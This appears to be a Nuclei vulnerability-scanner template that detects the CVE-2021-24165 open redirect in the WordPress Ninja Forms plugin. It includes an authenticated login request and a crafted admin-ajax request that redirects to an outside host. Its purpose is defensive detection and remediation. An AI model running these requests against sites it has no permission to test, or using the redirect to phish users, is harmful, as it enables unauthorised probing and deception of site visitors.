55 lines
2.2 KiB
YAML
55 lines
2.2 KiB
YAML
id: CVE-2021-24165
|
|
|
|
info:
|
|
name: WordPress Ninja Forms <3.4.34 - Open Redirect
|
|
author: dhiyaneshDk,daffainfo
|
|
severity: medium
|
|
description: |
|
|
WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
|
|
remediation: |
|
|
Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
|
|
- https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24165
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24165
|
|
cwe-id: CWE-601
|
|
epss-score: 0.00116
|
|
epss-percentile: 0.45164
|
|
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: ninjaforms
|
|
product: ninja_forms
|
|
framework: wordpress
|
|
tags: cve,cve2021,wordpress,redirect,wp-plugin,authenticated,wp,wpscan
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_1 == 302'
|
|
- 'status_code_2 == 302'
|
|
- "contains(header_2, 'Location: https://interact.sh?client_id=1')"
|
|
condition: and
|
|
|
|
# digest: 490a00463044022074696ee3e8d233d7b73fe78bd9331d2fc523bc94a959f9f1455cbaed655b2e5b02202187f365103ad98dbc1519998b7653d204bb38f699b44e02de246151e2bbb98a:922c64590222798bb761d5b6d8e72950
|